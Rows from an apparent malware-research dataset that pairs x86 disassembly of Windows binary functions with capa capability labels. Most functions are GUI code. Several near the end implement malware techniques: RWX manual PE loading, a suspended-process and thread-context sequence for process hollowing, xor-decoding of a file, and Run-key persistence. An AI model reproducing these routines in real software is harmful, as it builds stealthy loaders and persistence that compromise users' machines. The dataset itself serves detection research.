joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43efb0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47f7a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004780d2
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043e900
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.00478000
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004748be
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004748be
push 1
push 0
push 0
mov ecx, esi
call fcn.00474866
push 1
push 0
push 1
mov ecx, esi
call fcn.00474866
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00478144
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43f130
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47f7c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004780d2
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043e900
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.00478000
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43f1f4
cmp dword [esp + 0x40], 1
jne 0x43f1f2
cmp ecx, eax
jge 0x43f1f4
mov eax, ecx
cmp eax, 0xc8
jge 0x43f200
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043efb0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.00478144
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43f9f0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47f873
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00472cde
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047837a
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00479896
test eax, eax
je 0x43fb0c
mov ecx, dword [esp + 0x3c]
call fcn.004783a7
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43fad0
push edi
mov ecx, esi
call fcn.00475a05
mov ecx, esi
call fcn.0043fcb0
cmp dword [esp + 0x38], 1
jne 0x43fb05
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00475b40
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x441d10
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x441d43
push esi
call fcn.004500c0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x441d3c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x441dc9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x441db2
mov eax, dword [esi + 8]
test eax, eax
je 0x441d67
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x441dae
cmp eax, 2
je 0x441db2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x441d5a
cmp eax, 3
je 0x441d8d
cmp eax, 1
jne 0x441d5a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x441d5a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x441d5a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441df0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441dd8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441df0
add esp, 4
pop esi
ret

Function at 0x442660
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x442681
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x442681
mov eax, dword [eax + 0x44]
test eax, eax
je 0x442681
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x45cb70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x45cbd6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x45cbd6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x45cbb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x45cf60
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x45cf98
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x45dcc0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x45dd09
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x45e180
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47fdc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0045dd30
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0045ddb0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0045ddb0
lea ecx, [esi + 0xc]
call fcn.004716b8
lea ecx, [esi + 0x10]
call fcn.004716b8
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0045f340
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0045f340
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0045f340
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0047172d
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0047172d
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x473ad4
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x473b0c
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00471b88
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00471b60
jmp 0x473b18
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4751c2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x475204
call fcn.0047af3c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x475204
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4751fb
xor eax, eax
jmp 0x47520c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00475212
pop edi
pop esi
pop ebx
ret 4

Function at 0x47b46c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47b49a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47b4b8
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047b3d2
jmp 0x47b4b8
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47b4b8
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047b3d2
test edi, edi
mov eax, edi
jne 0x47b4a2
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x408d00
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x43c0c8
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
push 0x16
call fcn.0042ea6d
mov ebx, eax
xor eax, eax
mov ecx, ebx
mov esi, dword [esp + 0x30]
add esp, 4
mov dword [ecx], eax
push 0x16
push ebx
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov word [ecx + 0x14], ax
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x34]
mov ecx, dword [0x4518b4]
add ecx, 0x16
mov dword [0x4518b4], ecx
mov eax, dword [ebx + 6]
test eax, eax
jbe 0x408ef9
mov eax, dword [ebx]
inc eax
push eax
call fcn.0042ea6d
mov edx, dword [esi]
add esp, 4
mov ebp, eax
mov eax, dword [ebx]
push eax
push ebp
mov ecx, esi
call dword [edx + 0x34]
mov ecx, dword [ebx]
mov eax, dword [0x4518b4]
add eax, ecx
mov dword [0x4518b4], eax
mov edx, dword [ebx]
mov byte [edx + ebp], 0
mov eax, dword [ebx + 6]
add eax, 2
push eax
call fcn.0042ea6d
mov ecx, dword [ebx + 0xa]
mov dword [esp + 0x14], eax
inc ecx
push ecx
call fcn.0042ea6d
mov edx, dword [esi]
add esp, 8
mov edi, eax
mov eax, dword [ebx + 0xa]
push eax
push edi
mov ecx, esi
mov dword [esp + 0x20], edi
call dword [edx + 0x34]
mov ecx, dword [ebx + 0xa]
mov eax, dword [0x4518b4]
add eax, ecx
lea ecx, [esp + 0x2c]
mov dword [0x4518b4], eax
mov edx, dword [ebx + 6]
mov eax, dword [ebx + 0xa]
add edx, 2
mov dword [esp + 0x2c], edx
mov edx, dword [esp + 0x10]
push eax
push edi
push ecx
push edx
call fcn.00413920
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408e7d
mov eax, dword [esp + 0x10]
test eax, eax
je 0x408e0d
push eax
call fcn.0042ea96
add esp, 4
test edi, edi
je 0x408e1a
push edi
call fcn.0042ea96
add esp, 4
mov eax, dword [0x44dbc8]
mov dword [esp + 0x14], eax
push esi
push ebp
lea ecx, [esp + 0x1c]
push 0x44b9f0
push ecx
mov dword [esp + 0x34], 0
call fcn.0042d767
add esp, 0x10
test ebp, ebp
je 0x408e4c
push ebp
call fcn.0042ea96
add esp, 4
test ebx, ebx
je 0x408e59
push ebx
call fcn.0042ea96
add esp, 4
mov edx, dword [esp + 0x14]
push 0
push 0
push edx
call fcn.00437001
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0xffffffff
call fcn.004329d6
jmp 0x408f14
mov eax, dword [esp + 0x2c]
inc eax
push eax
call fcn.0042ea6d
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x14]
mov edx, ecx
mov edi, eax
shr ecx, 2
mov dword [0x4518b8], eax
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x2c]
mov ecx, dword [0x4518b8]
mov byte [ecx + eax], 0
mov eax, dword [esp + 0x10]
test eax, eax
je 0x408ec7
push eax
call fcn.0042ea96
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x408ed8
push eax
call fcn.0042ea96
add esp, 4
test ebp, ebp
je 0x408ee5
push ebp
call fcn.0042ea96
add esp, 4
test ebx, ebx
je 0x408ef2
push ebx
call fcn.0042ea96
add esp, 4
mov eax, 1
jmp 0x408f16
test ebx, ebx
je 0x408f06
push ebx
call fcn.0042ea96
add esp, 4
push 0
push 0
push 0x44ba04
call fcn.00437001
xor eax, eax
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x412e10
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x43cd83
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.00435372
lea ebp, [esi + 0x10]
xor ecx, ecx
mov dword [esp + 0x24], ecx
mov dword [ebp + 4], ecx
mov dword [ebp], 0x43e750
mov ebx, dword [esp + 0x2c]
mov dword [esi], 0x43fa3c
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x18], ecx
mov edi, dword [ebx + 0xc]
xor eax, eax
cmp edi, ecx
mov byte [esp + 0x24], 1
sete al
cmp eax, ecx
mov dword [esi + 0x30], eax
je 0x412ee1
mov eax, dword [ebx]
lea edi, [esi + 0x20]
push edi
mov ecx, ebx
call dword [eax + 0x50]
test ebx, ebx
jne 0x412e83
xor eax, eax
jmp 0x412e86
mov eax, dword [ebx + 4]
push eax
call dword [0x43e0f8]
push eax
mov ecx, esi
call fcn.00435429
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 4]
mov edx, dword [edi]
sub eax, ecx
mov ecx, dword [edi + 8]
push eax
sub ecx, edx
push ecx
mov ecx, dword [ebx + 4]
push ecx
call dword [0x43e104]
push eax
mov ecx, ebp
call fcn.00435d30
test ebp, ebp
je 0x412ebf
mov ebp, dword [ebp + 4]
mov edx, dword [esi + 4]
push ebp
push edx
call fcn.0043556a
mov ecx, dword [edi]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x24]
lea edx, [esp + 0x14]
push eax
push ecx
push edx
mov ecx, esi
call fcn.004357f9
jmp 0x412ef3
mov eax, dword [ebx + 0xc]
mov dword [esi + 0xc], eax
mov ecx, dword [ebx + 4]
mov dword [esi + 4], ecx
mov edx, dword [ebx + 8]
mov dword [esi + 8], edx
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x10001520
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ecx
cmp eax, 0x40
jae 0x1000152a
xor eax, eax
pop ecx
ret
push ebp
mov ebp, dword [esp + 0xc]
cmp word [ebp], 0x5a4d
jne 0x10001544
mov ecx, dword [ebp + 0x3c]
lea edx, [ecx + 0xf8]
cmp eax, edx
jge 0x10001549
xor eax, eax
pop ebp
pop ecx
ret
cmp dword [ecx + ebp], 0x4550
push esi
lea esi, [ecx + ebp]
jne 0x100016c1
test word [esi + 0x16], 0x2000
jne 0x100016c1
cmp word [esi + 0x14], 0xe0
jne 0x100016c1
push edi
lea edi, [esi + 0xf8]
push edi
push eax
mov eax, esi
call fcn.10001480
mov ecx, dword [esp + 0x2c]
add esp, 8
test eax, eax
mov dword [ecx], eax
jne 0x10001594
pop edi
pop esi
pop ebp
pop ecx
ret
push ebx
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov ebx, dword [esp + 0x24]
mov dword [ebx], eax
je 0x100016b6
movzx ecx, word [esi + 6]
test ecx, ecx
mov edx, dword [esi + 0x54]
jle 0x100015d7
lea esi, [edi + 0x14]
mov edi, ecx
mov ecx, dword [esi]
test ecx, ecx
je 0x100015cf
cmp ecx, edx
jae 0x100015cf
mov edx, ecx
add esi, 0x28
sub edi, 1
jne 0x100015c3
push edx
push ebp
push eax
call fcn.1001cde0
mov ebx, dword [ebx]
mov edx, dword [ebx + 0x3c]
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
lea edi, [edx + ebx]
mov edx, dword [edi + 0x54]
lea ebp, [edi + 0xf8]
mov dword [ecx], ebp
mov ecx, dword [edi + 0x38]
mov dword [eax], edi
lea eax, [edx + ecx - 1]
xor edx, edx
div ecx
add esp, 0xc
mov dword [esp + 0x10], 0
mov esi, eax
imul esi, ecx
add esi, ebx
cmp word [edi + 6], 0
jbe 0x100016b6
mov ecx, ebp
xor edi, edi
mov eax, dword [edi + ecx + 0xc]
test eax, eax
je 0x10001638
mov edx, dword [esp + 0x24]
mov esi, dword [edx]
add esi, eax
mov eax, dword [edi + ecx + 0x10]
test eax, eax
je 0x1000167c
push eax
mov eax, dword [edi + ecx + 0x14]
add eax, dword [esp + 0x1c]
push eax
push esi
call fcn.1001cde0
mov ecx, dword [esp + 0x2c]
mov ecx, dword [ecx]
mov eax, dword [edi + ecx + 8]
mov edx, dword [edi + ecx + 0x10]
add esp, 0xc
cmp eax, edx
jae 0x10001674
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov ebx, dword [eax + 0x38]
lea eax, [edx + ebx - 1]
jmp 0x1000168d
mov edx, dword [esp + 0x1c]
mov edx, dword [edx]
jmp 0x10001686
mov eax, dword [esp + 0x1c]
mov edx, dword [eax]
mov eax, dword [edi + ecx + 8]
mov ebx, dword [edx + 0x38]
lea eax, [eax + ebx - 1]
xor edx, edx
div ebx
mov edx, dword [esp + 0x1c]
mov edx, dword [edx]
movzx edx, word [edx + 6]
add edi, 0x28
imul eax, ebx
add esi, eax
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x10001628
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
pop ecx
ret
pop esi
xor eax, eax
pop ebp
pop ecx
ret
Function at 0x10001720
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x78
push ebp
push esi
push 0x44
mov esi, eax
lea eax, [esp + 0x40]
push 0
push eax
call fcn.1001e5a0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x40]
push edx
push eax
push eax
push 4
push eax
push eax
push eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0xa4]
push eax
push 0
mov dword [esp + 0x64], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebp, eax
test ebp, ebp
je 0x10001816
push str.GetThreadContext
push 0x100374c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100374d0
push 0x100374c0
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x88]
mov dword [ebx], ecx
mov ecx, dword [esp + 0x18]
mov dword [edx], eax
mov edx, dword [esp + 0x8c]
push esi
push eax
mov dword [edx], ecx
mov dword [esi], 0x10007
call dword [esp + 0x10]
mov ecx, dword [esi + 0xa4]
mov edx, dword [ebx]
lea eax, [esp + 0xc]
push eax
push 4
push edi
add ecx, 8
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [edi]
mov ecx, dword [ebx]
push 0x1c
lea eax, [esp + 0x24]
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
sub esi, dword [edi]
mov edx, dword [esp + 0x90]
mov dword [edx], esi
mov eax, ebp
pop esi
pop ebp
add esp, 0x78
ret
Function at 0x10001b20
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 3
push 0
push 1
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001b44
or eax, eax
pop esi
pop ecx
ret
push ebx
push edi
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.100025fe
push edi
mov ebx, eax
push 0
push ebx
call fcn.1001e5a0
add esp, 0x10
push 0
lea ecx, [esp + 0x10]
push ecx
push edi
push ebx
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
mov eax, ebx
jbe 0x10001bb5
mov esi, edi
lea esp, [esp]
mov dl, byte [eax]
xor dl, 0x7b
add dl, 0x7b
xor dl, 0x7b
mov byte [eax], dl
add eax, 1
sub esi, 1
jne 0x10001ba0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push eax
push ecx
push edi
push ebx
call fcn.10001a90
push ebx
mov esi, eax
call fcn.10002603
add esp, 0x14
pop edi
pop ebx
mov eax, esi
pop esi
pop ecx
ret

Function at 0x10001be0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x10c
mov eax, dword [0x100405a0]
xor eax, esp
mov dword [esp + 0x108], eax
push 0x103
lea eax, [esp + 9]
push 0
push eax
mov byte [esp + 0x10], 0
call fcn.1001e5a0
add esp, 0xc
push 0x104
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push edx
push 0xf003f
push 0
push str.SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001c65
mov ecx, dword [esp]
push 0x104
lea eax, [esp + 8]
push eax
push 1
push 0
push str.IFASWIOfsadsda
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x108]
xor ecx, esp
xor eax, eax
call fcn.1001cc61
add esp, 0x10c
ret